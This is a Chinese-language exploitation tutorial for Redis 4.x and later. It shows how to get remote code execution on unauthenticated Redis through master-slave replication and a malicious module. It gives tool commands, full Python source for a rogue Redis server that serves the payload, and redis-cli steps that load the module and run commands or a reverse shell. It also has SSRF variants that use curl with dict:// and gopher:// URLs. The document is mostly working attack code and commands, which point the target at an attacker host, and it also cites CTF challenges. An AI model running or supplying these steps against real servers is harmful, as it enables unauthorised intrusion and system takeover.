介绍

Redis 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 Redis 中实现一个新的Redis 命令,通过写C语言编译并加载恶意的 .so 文件,达到代码执行的目的。类似于 MySQLUDF

漏洞利用条件

目标靶机服务器的 redis 未设置密码或者已知目标 redis 的密码。

漏洞环境搭建

1
docker run -p 6379:6379 redis:5.0.14

漏洞利用

自动利用

1
2
3
4
5
6
7
8
9
10
11
# 1. 先通过下面的项目编译得到恶意的so文件
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
# 2. 再通过下面的项目打入上面生成好了的恶意so文件到目标redis服务器
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
# 如果是知道目标redis的密码就是需要添加-a参数
python redis-rce.py -r <redis的ip> -p <redis的端口> -L <本地攻击者的ip> -f module.so

同时,我们在执行了上面的 exp 之后,就可以直接连入 redis-cli 命令行来通过 system.exec 执行命令。

手动利用

首先还是要利用项目 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 编译得到恶意的 so 文件。

然后通过 https://github.com/Dliv3/redis-rogue-server 项目搭建恶意的 redis 服务器打入,注意要将上面的 so 文件复制到此项目的目录下。

1
2
# -v表示verbose,就是显示详细的日志信息
python3 redis_rogue_server.py -v -path module.so -lport 1234

或者用下面的 exp 来搭建恶意的 redis 服务器。

运行方式:

1
python RogueServer.py --lport 1234 --exp exp.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break


if __name__=="__main__":

parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")

(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp

CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)

之后通过未授权访问连上目标靶机的 redis ,执行下面的命令就可以 getshell 了。

1
2
3
4
5
6
7
8
9
config set dir ./
config set dbfilename module.so
slaveof 192.168.163.133 1234
module load ./module.so
slaveof no one
# 执行命令
system.exec 'whoami'
# 反弹shell
system.rev '反弹shell的地址'

刚开始返回的结果会参杂乱码,后面就好了。

SSRF利用

这里的步骤和前面的手动利用类似,就是需要先编译得到恶意的 so 文件,然后搭建恶意的 redis 服务器。不同的是,这里不是通过直接连接 redis 服务器执行命令来实现主从复制,而是通过漏洞服务来 SSRF 间接地操作 redis

下面直接利用 curl 来模拟漏洞服务的 SSRF

  1. 利用 dict 协议
1
2
3
4
5
6
7
8
curl dict://192.168.163.129:6379/info
curl dict://192.168.163.129:6379/config:set:dir:./
curl dict://192.168.163.129:6379/config:set:dbfilename:module.so
curl dict://192.168.163.129:6379/slaveof:192.168.163.133:1234
curl dict://192.168.163.129:6379/module:load:./module.so
curl dict://192.168.163.129:6379/slaveof:no:one
curl dict://192.168.163.129:6379/system:exec:whoami
curl dict://192.168.163.129:6379/system.exec:whoami

  1. 利用 gopher 协议
1
2
3
4
5
# 1. 设置文件名,连接恶意redis服务器
curl gopher://192.168.163.129:6379/_config%20set%20dbfilename%20module.so%0d%0aslaveof%20192.168.163.133%201234%0d%0aquit
# 2. 加载恶意so文件,反弹shell或者执行命令
curl gopher://192.168.163.129:6379/_module%20load%20./module.so%0d%0asystem.rev%20192.168.163.133%2010001%0d%0aquit
curl gopher://192.168.163.129:6379/_module%20load%20./module.so%0d%0asystem.exec%20whoami%0d%0aquit

相关CTF题

2020 网鼎杯 玄武组 SSRF ME
2023年 春秋杯网络安全联赛冬季赛 ezezez_php

参考文章

https://www.cnblogs.com/xiaozi/p/13089906.html